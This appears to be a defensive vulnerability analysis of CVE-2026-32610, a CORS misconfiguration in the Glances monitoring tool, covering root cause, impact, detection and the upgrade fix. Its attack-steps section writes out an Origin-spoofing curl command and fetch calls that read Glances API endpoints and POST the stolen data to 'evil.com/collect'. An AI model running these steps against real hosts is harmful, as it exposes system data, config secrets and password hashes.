CVE-2026-32610: 
Python vulnerability analysis and mitigation

CVE-2026-32610 is a permissive CORS misconfiguration vulnerability in Glances, an open-source cross-platform system monitoring tool, titled "Default CORS Configuration Allows Cross-Origin Credential Theft." All versions prior to 4.5.2 are affected. The vulnerability was disclosed by the project maintainer on March 14, 2026, published to the GitHub Advisory Database on March 16, 2026, and assigned a CVE on March 18, 2026. It carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is classified as CWE-942 (Permissive Cross-domain Policy with Untrusted Domains). In glances/outputs/glances_restful_api.py (lines 290–299), the Starlette/FastAPI CORSMiddleware is configured with allow_origins=["*"] and allow_credentials=True by default. Per the CORS specification, browsers should reject credentialed requests when the server returns Access-Control-Allow-Origin: *; however, Starlette's middleware works around this by reflecting the requesting Origin header value in the response instead of the literal wildcard, effectively granting any origin credentialed access. Without --password (the default), no authentication is required and any cross-origin JavaScript can read all API endpoints; with --password, cached browser Basic Auth credentials are automatically forwarded, enabling the same data theft plus password hash exfiltration via /api/4/args (GitHub Advisory, Glances Security Advisory).

Successful exploitation allows any malicious website visited by a user on the same network to silently exfiltrate complete system monitoring data — including process lists with full command lines, CPU/memory/disk statistics, network interfaces and IP addresses, filesystem mounts, and Docker container information — as well as configuration file contents that may contain database passwords, export backend credentials, and API keys. When password protection is enabled and the user has previously authenticated, the attacker additionally obtains the password hash via /api/4/args. The permissive POST method policy further enables integrity impacts: attackers can clear event logs via /api/4/events/clear/all or modify process monitoring settings via /api/4/processes/extended/{pid}, and can conduct internal network reconnaissance by probing Glances ports on internal IPs (GitHub Advisory, Glances Security Advisory).

A proof-of-concept exploit with step-by-step curl commands and JavaScript payload is publicly available in the GitHub security advisory, confirmed with high confidence by Feedly threat intelligence (Glances Security Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.028% (0.000280), placing it in the 17th percentile for exploitation probability within 30 days (GitHub Advisory). Detection coverage exists via Qualys (detection ID 5009225) and Tenable Nessus (plugin 302943).

1. Reconnaissance: Identify internal network hosts running Glances in web server mode (glances -w) on the default port 61208, using network scanning tools or by probing common internal IP ranges from a malicious web page.
2. Verify CORS misconfiguration: Confirm the vulnerability by sending a cross-origin request with a spoofed Origin header and checking that the response reflects the origin with Access-Control-Allow-Credentials: true:

   curl -s -D- -o /dev/null -H "Origin: https://evil.com" http://<glances-host>:61208/api/4/all

3. Host malicious page: Set up a web page at an attacker-controlled domain (e.g., https://evil.com/steal.html) containing JavaScript that makes credentialed cross-origin fetch requests to the Glances API.
4. Lure victim: Trick a user on the same network as the Glances instance into visiting the malicious page (e.g., via phishing or a compromised website).
5. Exfiltrate data: The malicious JavaScript executes fetch('http://<glances-host>:61208/api/4/all', {credentials: 'include'}), fetch('.../api/4/config', ...), and fetch('.../api/4/args', ...). The browser automatically includes any cached Basic Auth credentials. Starlette reflects the attacker's origin, allowing JavaScript to read the responses.
6. Send to attacker: The collected data (system stats, config secrets, password hash) is POSTed to the attacker's collection endpoint: fetch('https://evil.com/collect', {method: 'POST', body: JSON.stringify({...})}) (Glances Security Advisory).

• Network: Unexpected outbound HTTP POST requests from a user's browser to an external domain (e.g., evil.com) immediately after accessing a Glances instance; cross-origin requests to port 61208 originating from external or untrusted web origins visible in proxy/firewall logs.
• Logs: Glances web server access logs showing requests to /api/4/all, /api/4/config, /api/4/args, /api/4/events/clear/all, or /api/4/processes/extended/{pid} with Origin headers from unexpected or external domains; responses containing Access-Control-Allow-Origin set to a non-local domain.
• Application Behavior: Unexpected clearing of Glances event logs or changes to process monitoring configuration without administrator action, which may indicate exploitation of POST endpoints (Glances Security Advisory).

Upgrade Glances to version 4.5.2 or later, which changes the default cors_credentials setting from True to False and removes the wildcard CORS origin behavior (Glances v4.5.2 Release, Patch Commit). For deployments that cannot immediately patch, implement network-level controls to restrict access to port 61208 to trusted hosts only, and avoid exposing the Glances web server on untrusted networks. If credentials must be enabled, explicitly configure cors_origins in glances.conf with specific trusted origins rather than using the wildcard default, and restrict cors_methods to GET only to prevent POST-based integrity attacks (GitHub Advisory).

The vulnerability was reported by a researcher credited as "offset" in the Glances security advisory, and the fix was released the same day as disclosure (March 14, 2026) alongside seven other security patches in the v4.5.2 release (Glances v4.5.2 Release). Red Hat opened a tracking bug (Bugzilla #2448658) and rated the severity as High (Red Hat Bugzilla). The advisory was noted on Mastodon by TheHackerWire and indexed by multiple vulnerability tracking platforms shortly after publication.